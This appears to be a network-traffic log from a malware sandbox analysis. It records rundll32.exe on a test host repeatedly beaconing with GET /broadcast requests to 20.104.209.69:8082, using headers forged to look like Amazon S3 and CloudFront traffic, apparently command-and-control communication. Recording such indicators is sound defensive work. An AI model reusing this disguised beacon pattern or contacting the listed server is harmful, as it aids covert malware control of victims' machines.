Jan 8, 2023 16:09:38.138871908 CET	1532	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.2.6	50066	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:38.401784897 CET	1535	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:38.522447109 CET	1536	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.6	50067	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:38.776236057 CET	1538	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:38.896883965 CET	1539	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.6	50068	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:39.161622047 CET	1541	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:39.279805899 CET	1542	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49735	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:14.423588037 CET	474	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:14.542625904 CET	474	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.6	50069	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:39.535268068 CET	1545	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:39.652698040 CET	1545	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.2.6	50070	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:39.982247114 CET	1548	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:40.102051973 CET	1548	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.6	50071	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:40.492558956 CET	1551	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:40.610812902 CET	1551	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.6	50072	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:40.931401968 CET	1554	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:41.050867081 CET	1554	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.2.6	50073	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:41.976881027 CET	1557	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:42.094980001 CET	1558	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.6	50074	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:43.665204048 CET	1560	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:43.785331964 CET	1561	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.2.6	50075	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:44.085764885 CET	1564	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:44.203655005 CET	1564	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.2.6	50076	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:44.453555107 CET	1567	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:44.573463917 CET	1567	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.6	50077	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:44.829859018 CET	1570	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:44.949834108 CET	1570	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.2.6	50078	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:45.213649988 CET	1573	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:45.332674026 CET	1574	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49736	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:14.820384026 CET	477	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:14.937684059 CET	477	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.6	50079	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:45.592911005 CET	1576	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:45.711039066 CET	1577	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:36 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
381	192.168.2.6	50080	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:45.974152088 CET	1580	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:46.094857931 CET	1580	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
382	192.168.2.6	50081	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:46.352025032 CET	1583	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:46.469417095 CET	1583	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:37 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
383	192.168.2.6	50082	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:46.724889040 CET	1586	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:46.844346046 CET	1586	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
384	192.168.2.6	50083	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:47.120166063 CET	1589	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:47.237611055 CET	1589	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:38 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
385	192.168.2.6	50084	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
